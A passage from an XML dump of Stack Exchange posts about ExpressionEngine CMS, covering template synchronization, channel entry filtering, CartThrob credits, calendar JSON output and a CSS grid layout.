LastActivityDate="2015-10-10T16:57:54.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34350" PostTypeId="2" ParentId="34342" CreationDate="2015-10-10T06:26:21.707" Score="1" Body="&lt;p&gt;ExpressionEngine is a purely PHP Content Management System (CMS) framework. As you mentioned, it is currently based off of the CodeIgniter MVC framework. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for technologies that are required to employ ExpressionEngine ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-Linux or similar operating system; one capable of serving a PHP agent&#xA;-Database functionality, specifically MySQL with a MyISAM modern table engine&#xA; -- EE 2.9+ I've been able to run in production with INNODB table engines...&#xA;-Apache 2.x&#xA; -- Many (engineers, host partners, etc..) have been able to run EE on nginx..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE depends on jQuery, a JavaScript library for front-end display. However, even the newest version (EE 2.10.1) runs on a pretty out-of-date jQuery version. There is an EE 3.0.0-beta out... but I don't know it's technologies. I've played with it and I know it has dropped CodeIgniter as it's core framework. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For frameworks like Angular etc... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE is agnostic to those type of frameworks. EE doesn't default to using any of them. You can incorporate Angular, Ember, etc.. if you want! EE is a framework, which allows you to place other frameworks on top of it. It's your choice! It's your world.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="159" LastEditDate="2016-09-28T08:39:15.480" LastActivityDate="2016-09-28T08:39:15.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34351" PostTypeId="1" AcceptedAnswerId="34355" CreationDate="2015-10-10T06:42:58.483" Score="1" ViewCount="33" Body="&lt;p&gt;Am new to this expression engine  am using the cartthrob module to handle my shop item.The site base on credit system users can earn credits and use to purchase items in shop .I use devdemon credit module .can any one please tell me how to remove credits equal to the price of product from my credits table .Is there any idea of linking the credits table and cartthrob&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.  &lt;/p&gt;&#xA;" OwnerUserId="6682" LastActivityDate="2015-10-10T13:54:45.033" Title="Cartthrob credit handling" Tags="|cartthrob|devdemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34353" PostTypeId="1" CreationDate="2015-10-10T10:32:13.767" Score="0" ViewCount="175" Body="&lt;p&gt;I want to use template synchronization for subscription addon testing but when i clicked on template synchronization its not showing anything. i have copied two templates to template folder as you can see in documentation here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I have done for this in Global preference are :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Save Template Revisions: Yes&#xA;Maximum Number of Revisions to Keep: 10&#xA;Save Template Revisions: Yes&#xA;Server path to site's templates: example.com/system/expressionengine/templates&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please tell me if anything else wrong or required.&lt;/p&gt;&#xA;" OwnerUserId="6742" LastActivityDate="2015-10-10T12:13:19.180" Title="How template synchronization works in Expression engine" Tags="|php|codeigniter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34354" PostTypeId="2" ParentId="34353" CreationDate="2015-10-10T12:13:19.180" Score="1" Body="&lt;p&gt;Doh! Just wrote all the below and then realised the problem - you're using the wrong path!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KapCP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KapCP.png&quot; alt=&quot;Server path to site&amp;#39;s templates&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've put in a domain URL, or stated an invalid path. You need to start from the servers file root with &lt;code&gt;/&lt;/code&gt;. Worth reading through the below, as this would have identified the issue also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The original response...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have those settings from the beginning, before creating any templates, it's normally not a problem, but when you have existing templates (saving to the database), then you add/change those settings, nothing will happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be helpful to know what this exactly meant: &quot;template synchronization its not showing anything&quot;, but I'll assume that it's not listing the templates you've added...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to go and edit each and every individual template and turn on &quot;save template as file&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4xDGU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4xDGU.png&quot; alt=&quot;Template Manager - Edit template&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create new templates via external file, it will automatically set them to be saved as file. If you create new templates via the EE Control Panel, by default this option may be turned off (ignoring global settings), so you have to tick it. I'd recommend you don't mix external editing and Control Panel editing - just do it all in one or the other. If working externally, EE automatically detects new template groups and templates, mixing the 2 it often falls apart and gets confused, hence having to use the Sync templates screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is already done and you're still not seeing your frontend reflecting your external templates, 2 checks come to mind - double check the folder path is correct, and ensure you have the correct permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned that you copied the templates into the folder [manually] - don't do that, instead follow the steps above: edit the template in EE and tick the save as template. After saving, if that doesn't create the file, then you have a pathing/permissions issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you mentioned &quot;two templates to template folder&quot; - just to confirm: templates don't just sit in the templates folder, they sit in an initial subfolder called &quot;default_site&quot; (if not using MSM) then there are subfolders within this based on the template group they're in. Template group folders have the extension .group, then the template files themselves have the extension .html. Again if you've saved the template via the EE Control Panel, then you'd see this structure created for you.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-10-10T12:13:19.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34355" PostTypeId="2" ParentId="34351" CreationDate="2015-10-10T13:54:45.033" Score="1" Body="&lt;p&gt;Credits has both a CartThrob and BrilliantRetail payment gateway that you can use to allow these to pay for the items with their credits. In CartThrob you will want to go to Settings &gt; Payment Gateways and enable &quot;Credits&quot; from there you will enter your settings similar to this picture &lt;a href=&quot;https://i.stack.imgur.com/1Y1Iy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Y1Iy.jpg&quot; alt=&quot;Credits Settings in CartThrob&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-10-10T13:54:45.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34356" PostTypeId="1" AcceptedAnswerId="34360" CreationDate="2015-10-11T02:12:48.837" Score="2" ViewCount="118" Body="&lt;p&gt;I want to display 10 entries, only if they pass a conditional.&#xA;Right now the channel tag will count &lt;em&gt;all&lt;/em&gt; entries first, so I end up with less than 10 entries displaying (as some of those 10 don't meet the 'if').&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;tours&quot; limit=&quot;10&quot; sort=&quot;asc&quot; orderby=&quot;departure_date&quot;}&#xA;    {if departure_date &amp;gt; current_time}&#xA;         [TEN THINGS HERE]&#xA;    {/if}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can’t use {entry_date} as my ‘departure_date’ - it has to be a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried an embed - but that’s not working for me...&lt;/p&gt;&#xA;" OwnerUserId="6177" LastActivityDate="2015-10-11T19:09:51.873" Title="Limiting entry display after a conditional" Tags="|channel-entries|conditionals|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34357" PostTypeId="2" ParentId="34356" CreationDate="2015-10-11T07:54:12.790" Score="0" Body="&lt;p&gt;I would use a PHP script to get around these kind of hassles. You can use the query module to do some manual &lt;em&gt;select&lt;/em&gt;s on the database, if you really need to avoid PHP script in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/query/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/query/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ExpressionEngine template parsing engine doesn't provide any means to break out of a &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop based on a conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You basically need to break out of your &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop once you hit ten entries that satisfy your conditional. There's no viable way to do that, even with an absurd PHP-enabled template, regardless of if it's set to parse PHP at input or output. Templating like this only affords forward progression execution.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can help you generate a PHP script, or a query module tag, to do what you want... but you'll need to expand your question to include what your field IDs are, if you're using MSM, and other issues. Hope I'm being helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Official edit: If any of the heavy-hitters on this forum know of a way to break out of a EE tag loop (like &lt;code&gt;{exp:channel:entries}&lt;/code&gt;), please chime in. I might be an idiot.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-11T08:06:19.990" LastActivityDate="2015-10-11T08:06:19.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34359" PostTypeId="2" ParentId="34356" CreationDate="2015-10-11T12:38:11.890" Score="1" Body="&lt;p&gt;Writing your own query would probably be the most efficient way and would let you pull out exactly what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/query/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/query/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6743" LastActivityDate="2015-10-11T12:38:11.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34360" PostTypeId="2" ParentId="34356" CreationDate="2015-10-11T19:09:51.873" Score="2" Body="&lt;p&gt;Can't the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#numeric-matching&quot; rel=&quot;nofollow&quot;&gt;numeric matching&lt;/a&gt; of the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;search parameter&lt;/a&gt; help you?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;tours&quot; search:departure_date=&quot;&amp;gt;{current_time}&quot; limit=&quot;10&quot; sort=&quot;asc&quot; orderby=&quot;departure_date&quot;}&#xA;  [TEN THINGS HERE]&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-10-11T19:09:51.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34362" PostTypeId="2" ParentId="30083" CreationDate="2015-10-12T04:15:50.453" Score="1" Body="&lt;p&gt;This could be a spf issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently trying to problem solve the same issue with expressionengine 2.9.3 - html emails are coming through with a blank message, but plain text emails do contain the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I look at the raw source of the email I can see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;spf=fail (google.com: domain of sales@xxx.com does not designate aaa.bbb.ccc.ddd as permitted sender)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So worth checking your spf record for the domain you are sending this email from with a tool like &lt;a href=&quot;http://mxtoolbox.com/SuperTool.aspx?action=spf:&quot; rel=&quot;nofollow&quot;&gt;mxtoolbox&lt;/a&gt; - i.e. if you are sending the email from &lt;strong&gt;sales@yourdomain.com&lt;/strong&gt; check the spf record for &lt;strong&gt;yourdomain.com&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5037" LastActivityDate="2015-10-12T04:15:50.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34363" PostTypeId="1" AcceptedAnswerId="34385" CreationDate="2015-10-12T04:52:52.797" Score="3" ViewCount="408" Body="&lt;p&gt;Within the eateries tag, is there a peramiter that equals status=&quot;any&quot; that will pull all entries no matter the status (including 'closed')?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought status=&quot;not none&quot;  worked, but it's not...&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2016-04-12T13:39:58.233" Title="Is there a Status=&quot;any&quot;?" Tags="|channel-entries|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34364" PostTypeId="1" CreationDate="2015-10-12T07:19:23.847" Score="0" ViewCount="28" Body="&lt;p&gt;I am facing the problem for the sorting on the channel by passing the value on orderby dynamically (with the custom fields &amp;amp; for date sort) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always resulting out me same data &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;careers&quot; orderby=&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please advise ASAP&lt;/p&gt;&#xA;" OwnerUserId="6579" LastEditorUserId="3579" LastEditDate="2015-10-12T18:22:11.870" LastActivityDate="2015-10-12T18:22:11.870" Title="sorting not working with the channel" Tags="|sorting|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34365" PostTypeId="1" CreationDate="2015-10-12T10:00:34.423" Score="0" ViewCount="58" Body="&lt;p&gt;Is there any way to change the recipients of the 'Admin Notification of New Entries' email template without making all the recipients admins?&lt;/p&gt;&#xA;" OwnerUserId="6746" LastActivityDate="2016-06-05T01:48:41.520" Title="Notifying member list for new topic in forum" Tags="|templates|email|forum|admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34367" PostTypeId="1" CreationDate="2015-10-12T14:04:11.773" Score="0" ViewCount="27" Body="&lt;p&gt;Using Cartthrob I have a checkout order form where I would like to send a notification email to an administrator if the user enters their details but leaves the page before completing the order. This would be first step during checkout so I can capture basic details before they proceed to selecting payment terms and completing checkout. I have looked at Postmaster and can't seem to figure how to make it work in my circumstance. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2016-05-21T20:01:00.883" Title="Incomplete Orders" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34368" PostTypeId="1" CreationDate="2015-10-12T15:19:35.323" Score="0" ViewCount="340" Body="&lt;p&gt;Is there a conflict with Solspace Calendar and Twitter Bootstrap 3.3.4? When I enable the date picker field on the channel form, the navigation loses all formatting from Bootstrap. I see current documentation calls for jQuery 1.3 while the new Bootstrap is using 1.11.2. Is there a way to have both?&lt;/p&gt;&#xA;" OwnerUserId="3851" LastActivityDate="2015-11-05T20:18:10.347" Title="Conflict with Twitter Bootstrap" Tags="|jquery|calendar|bootstrap|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34369" PostTypeId="2" ParentId="34367" CreationDate="2015-10-12T17:17:31.473" Score="0" Body="&lt;p&gt;ObjectiveHTML wrote up all the variables you would need for Abandon Cart emails in the &lt;a href=&quot;https://objectivehtml.com/postmaster/notifications/cartthrob-abandoned-cart&quot; rel=&quot;nofollow&quot;&gt;PostMaster documentation&lt;/a&gt;. PostMaster is really powerful and can do a lot of things so I recommend that you use the &lt;a href=&quot;https://objectivehtml.com/postmaster/getting-started&quot; rel=&quot;nofollow&quot;&gt;Getting Started guide&lt;/a&gt; to get to terms with all the terminology.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-10-12T17:17:31.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34370" PostTypeId="1" CreationDate="2015-10-12T17:23:27.723" Score="0" ViewCount="105" Body="&lt;p&gt;I want to have a front page gallery that is comprised of images from  different channels, and I want to have the title of the channel that the image comes from to appear with the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan was to create an entry called &quot;Front Page Gallery&quot; and load it with stored images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I want to be able to create a link to the gallery section that the image is originally from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MORE INFO&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sort of going with parscale's suggestion below, I used instead {image:entry_id} this way, but it didn't solve my issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;!--title info and link--&amp;gt;&#xA;{exp:channel:entries channel=&quot;portfolio&quot; entry_id=&quot;41&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    {exp:channel_images:images entry_id=&quot;{entry_id}&quot; exclude_category=&quot;closed&quot;}&#xA;        &amp;lt;a class=&quot;frontlink&quot; href=&quot;{title_permalink=&quot;portfolio/gallery&quot;}&quot;&amp;gt;From the&#xA;            {exp:low_replace find=&quot;31|32|33&quot; replace=&quot;GallerySPACE1|GallerySPACE2|GallerySPACE3&quot; multiple=&quot;yes&quot;}&#xA;            &amp;lt;em&amp;gt;{image:entry_id}&amp;lt;/em&amp;gt;&#xA;            {/exp:low_replace}&#xA;            series.&amp;lt;/a&amp;gt;&#xA;    {/exp:channel_images:images}&#xA;{/exp:channel:entries}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with this, I'm able to generate a caption for each image that gives the name of the entry it is originally from (e.g., &quot;Gallery 1&quot;) by manually using Low Replace to convert the entry ID of each image to the name of the entry. But I find this really clunky and not good as new entries are added. So I'm trying to find a more automatic way to get the original entry name of the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next issue is in trying to create a link from the image's entry name to the first image in it's original gallery: right now what I've got (and it's not working) is this link: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;href=&quot;{title_permalink=&quot;portfolio/gallery&quot;}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this doesn't work. What I need is this link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;href=&quot;{title_permalink=&quot;portfolio/gallery/gallery_1&quot;}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts also as how to get the image's original entry short name into the link?&lt;/p&gt;&#xA;" OwnerUserId="2218" LastEditorUserId="2218" LastEditDate="2015-10-14T04:58:29.490" LastActivityDate="2015-10-14T04:58:29.490" Title="Listing the channel name with an image in Channel Images?" Tags="|devdemon|channel-images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34371" PostTypeId="2" ParentId="34365" CreationDate="2015-10-12T19:53:34.197" Score="0" Body="&lt;p&gt;I see one possibility, but I'm not 100% sure if this will work. If you wrote an extension that fired on this hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/email/index.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/email/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could possibly look for a conditional subject. I'm not sure what the default admin notification subject is, but if it's always the same, you could detect Admin notifications. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($data['subject'] == &quot;Admin Notificaiton from your EE site&quot;) {&#xA;&#xA;    // add to recipients string&#xA;    $data['recipients'] .= &quot;, another@email.com, another@email.com&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I don't necessarily know if the admin communications uses the standard Email class; I can't imagine it wouldn't, but don't have time right now to dig through the core to check for you. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-12T19:53:34.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34372" PostTypeId="2" ParentId="34370" CreationDate="2015-10-12T23:57:02.230" Score="0" Body="&lt;p&gt;How are you planning on pulling in the images from different channels? Relationships? If so, you should just be able to call the images channel using {relationship_prefix:channel}&lt;/p&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2015-10-12T23:57:02.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34373" PostTypeId="1" CreationDate="2015-10-13T10:20:09.873" Score="0" ViewCount="38" Body="&lt;p&gt;We are using  the UPS plugin, as well as a default shipping method and need the default method to come after UPS during checkout. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="6727" LastActivityDate="2015-10-13T10:20:09.873" Title="Change Shipping Method order" Tags="|expresso-store|shipping|ups-shipping|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34374" PostTypeId="2" ParentId="34346" CreationDate="2015-10-13T12:17:09.807" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;h3&gt;&lt;strong&gt;Highly suggested reading to distinguish Calendar tags&lt;/strong&gt;: &lt;a href=&quot;https://solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;{exp:calendar:cal}&lt;/code&gt; is usually used when displaying a list of events in a chronological order. However, since it doesn't use the native EE Channel:Entries library when parsing data, it won't be able to parse some custom fields correctly, in particular those with complex data such as Playa/Relationships and Matrix/Grid.&lt;/p&gt;&#xA;&lt;p&gt;If you do need to use the full power of Channel:Entries to parse your custom fields, you'll need to use &lt;code&gt;{exp:calendar:events}&lt;/code&gt;. However, this tag is used to display information about event entries, and isn't really made to display events in a fully chronological order (again, reading the above reading material is highly suggested to distinguish both tags)&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;{exp:calendar:cal}&lt;/code&gt; and &lt;code&gt;{exp:calendar:events}&lt;/code&gt; display data from the &lt;strong&gt;Calendar: Events&lt;/strong&gt; channel. You can't mix both &lt;strong&gt;Calendar: Calendars&lt;/strong&gt; and &lt;strong&gt;Calendar: Events&lt;/strong&gt; channels with these tags.&lt;/p&gt;&#xA;&lt;p&gt;You &lt;em&gt;could&lt;/em&gt; use &lt;code&gt;{exp:channel:entries}&lt;/code&gt; to display custom fields from both the &lt;strong&gt;Calendar: Calendars&lt;/strong&gt; and &lt;strong&gt;Calendar: Events&lt;/strong&gt; channels, but you will &lt;strong&gt;not&lt;/strong&gt; be able to display any event data (eg. start/end dates/times, occurrences, etc), nor display data in a chronological way.&lt;/p&gt;&#xA;&lt;p&gt;As for displaying data in JSON format, there's likely a number of ways to do this. You could use PHP to create the JSON output (using &lt;code&gt;json_encode()&lt;/code&gt;). you could hand-craft the JSON output manually. There might even be a plugin that can create the JSON output for you.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-10-13T12:17:09.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34377" PostTypeId="2" ParentId="34346" CreationDate="2015-10-13T15:59:12.407" Score="0" Body="&lt;p&gt;Since @Solspace responded clarifying the uses and limitations of the various calendar tags, it is now clear to me that it is not possible to access both event AND calendar custom fields within one calendar tag pair. My workaround, now, is to utilize stash, and first create an index of my calendar custom fields, that I can then access from within my &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag loop, for each event I am displaying. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:http_header content_type=&quot;application/json&quot;}&#xA;[&#xA;{exp:stash:set_list name=&quot;calendar_data&quot;  parse_tags=&quot;yes&quot;}&#xA;    {exp:calendar:calendars}&#xA;        {stash:my_calendar_id}{calendar_id}{/stash:my_calendar_id}&#xA;        {stash:my_calendar_title}{title}{/stash:my_calendar_title}&#xA;        {stash:my_calendar_color}{calendar_color}{/stash:my_calendar_color}&#xA;        {stash:my_calendar_icon}{calendar_icon}{/stash:my_calendar_icon}&#xA;    {/exp:calendar:calendars}&#xA;{/exp:stash:set_list}&#xA;{exp:calendar:cal&#xA;    date_range_start=&quot;{get:start}&quot;&#xA;    date_range_end=&quot;{get:end}&quot;&#xA;    status=&quot;not closed&quot;&#xA;    show_months=&quot;999&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;    {if event_count != 1},{/if}&#xA;    {exp:stash:get_list name=&quot;calendar_data&quot; match=&quot;#^{event_calendar_id}$#&quot; against=&quot;my_calendar_id&quot;}&#xA;        {&#xA;            &quot;id&quot;: &quot;{event_id}-{event_count}&quot;,&#xA;            &quot;calendar&quot;: &quot;{event_calendar_url_title}&quot;,&#xA;            &quot;title&quot;: {exp:json_encode}{event_title}{/exp:json_encode},&#xA;            &quot;start&quot;: {exp:json_encode}{event_start_date format=&quot;%Y-%m-%dT%H:%i:%s&quot;}{/exp:json_encode},&#xA;            &quot;end&quot;: {exp:json_encode}{event_end_date format=&quot;%Y-%m-%dT%H:%i:%s&quot;}{/exp:json_encode},&#xA;            &quot;allDay&quot;: {if occurrence_all_day}true{if:else}false{/if},&#xA;            &quot;url_title&quot;: {exp:json_encode}{event_url_title}{/exp:json_encode},&#xA;            &quot;url&quot;: {exp:json_encode}/calendar/event-entry-form/{event_start_date format=&quot;%U&quot;}/{event_start_date format=&quot;%U&quot;}/{event_id}{/exp:json_encode},&#xA;            &quot;icon&quot;: {exp:json_encode}{my_calendar_icon}{/exp:json_encode},&#xA;            {if event_multi_day}        &#xA;                &quot;color&quot;: {exp:json_encode}#{my_calendar_color}{/exp:json_encode},&#xA;                &quot;textColor&quot;: {exp:json_encode}{exp:projects:contrasting_text_color hexcolor=&quot;{my_calendar_color}&quot;}{/exp:json_encode},&#xA;            {if:else}       &#xA;                &quot;color&quot;: &quot;#FFFFFF&quot;,&#xA;                &quot;textColor&quot;: {exp:json_encode}#{my_calendar_color}{/exp:json_encode},&#xA;            {/if}       &#xA;            &quot;className&quot;: &quot;{exp:tagger:tags entry_id='{entry_id}'}tag-{tagger:urlsafe_tagname} {/exp:tagger:tags}&quot;&#xA;        }&#xA;    {/exp:stash:get_list}&#xA;{/exp:calendar:cal}&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, I'm using a combination of other addons, like &lt;a href=&quot;https://github.com/rsanchez/http_header&quot; rel=&quot;nofollow&quot; title=&quot;HTTP Header&quot;&gt;'HTTP Header'&lt;/a&gt; by Rob Sanchez, &lt;a href=&quot;https://github.com/noblestudios/expressionengine-json-encode&quot; rel=&quot;nofollow&quot;&gt;JSON Encode&lt;/a&gt; by NobleStudios, and most importantly, &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; by Mark Croxton.&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2015-10-13T15:59:12.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34378" PostTypeId="1" CreationDate="2015-10-13T16:19:46.483" Score="0" ViewCount="39" Body="&lt;p&gt;Morning, fine folks! I am having a beast of time with a newly discovered issue in my layout. I've tried everything that &lt;em&gt;I&lt;/em&gt; know to do, to no avail. I know the answer must be a simple one, but darned if I can figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a product page (using Exp:resso Store) that I'm attempting to update with a new design to match the rest of the website. I'm using THIS grid.css (that someone, either from here or the EE forums, povided me with), and while it works beautifully for my categories page (which has this brand new layout applied to it), it's not working for the product listings page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.section {&#xA;    clear: both;&#xA;    padding: 0px;&#xA;    margin: 0px;&#xA;}&#xA;&#xA;/*  GROUPING  ============================================================================= */&#xA;&#xA;&#xA;.group:before,&#xA;.group:after {&#xA;    content:&quot;&quot;;&#xA;    display:table;&#xA;}&#xA;.group:after {&#xA;    clear:both;&#xA;}&#xA;.group {&#xA;    zoom:1; /* For IE 6/7 (trigger hasLayout) */&#xA;}&#xA;&#xA;/*  GRID COLUMN SETUP   ==================================================================== */&#xA;&#xA;.col2 {&#xA;    display: block;&#xA;    float:left;&#xA;    margin: 1% 0 1% 1.6%;&#xA;    text-align: center;&#xA;    background-color: #FFF;&#xA;    border-radius: .5em;&#xA;    height: 220px;&#xA;}&#xA;&#xA;.col {&#xA;    display: block;&#xA;    float:left;&#xA;    margin: 1% 0 1% 1.6%;&#xA;    text-align: center;&#xA;}&#xA;&#xA;.col:first-child { margin-left: 0; } /* all browsers except IE6 and lower */&#xA;&#xA;&#xA;/*  REMOVE MARGINS AS ALL GO FULL WIDTH AT 480 PIXELS */&#xA;&#xA;@media only screen and (max-width: 480px) {&#xA;    .col { &#xA;        margin: 1% 0 1% 0%;&#xA;    }&#xA;}&#xA;&#xA;/*  GRID OF FOUR   ============================================================================= */&#xA;&#xA;.span_4_of_4 {&#xA;    width: 100%;&#xA;}&#xA;&#xA;.span_3_of_4 {&#xA;    width: 74.6%; 